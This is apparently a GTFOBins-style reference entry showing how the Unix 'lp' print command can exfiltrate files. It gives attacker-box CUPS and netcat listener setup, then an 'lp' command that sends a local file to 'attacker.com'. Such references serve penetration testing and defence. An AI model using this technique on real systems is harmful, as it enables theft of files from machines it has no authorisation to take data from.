.. / lp

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• File upload

File upload

It can exfiltrate files on the network.

• To collect the file run the following on the attacker box (this requires cups to be installed):

  1. lpadmin -p printer -v socket://localhost -E to create a virtual printer;
  2. lpadmin -d printer to set the new printer as default;
  3. cupsctl --remote-any to enable printing from the Internet;
  4. nc -lkp 9100 to receive the file.

  Send a local file to a CUPS server.

  LFILE=file_to_send
  RHOST=attacker.com
  lp $LFILE -h $RHOST